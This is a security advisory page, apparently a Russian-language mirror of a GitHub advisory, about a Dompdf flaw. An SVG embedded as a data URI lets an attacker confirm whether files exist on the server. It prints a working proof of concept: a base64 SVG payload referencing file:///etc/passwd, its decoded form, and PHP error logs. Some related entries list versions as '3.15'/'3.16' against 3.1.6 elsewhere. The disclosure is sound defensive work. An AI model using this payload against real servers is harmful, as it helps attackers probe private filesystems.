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GHSA-j8qw-6jw8-r297

Опубликовано: 22 июл. 2026
Источник: github
Github: Прошло ревью
CVSS4: 6.3

Описание

Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem

Summary

If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.

Details

Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.

[Wed May 20 19:49:53 2026] PHP Warning: file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173 [Wed May 20 19:49:53 2026] PHP Notice: getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196

PoC

First, the attacker renders this HTML document:

<html> <head> </head> <body> <img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo="> Hello World! </body> </html>

The <img> tag contains the following SVG content:

<?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100"> </svg>

As expected, the resulting PDF contains a broken image: image

However, when supplying a path to a file or directory that does not exist, for example:

<?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100"> </svg>

The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position:

image

Impact

By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.

Пакеты

Наименование

dompdf/dompdf

composer
Затронутые версииВерсия исправления

< 3.1.6

3.1.6

EPSS

Процентиль: 17%
0.00258
Низкий

6.3 Medium

CVSS4

Дефекты

CWE-209

Связанные уязвимости

ubuntu
8 дней назад

Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.

nvd
9 дней назад

Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.

debian
9 дней назад

Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior ...

EPSS

Процентиль: 17%
0.00258
Низкий

6.3 Medium

CVSS4

Дефекты

CWE-209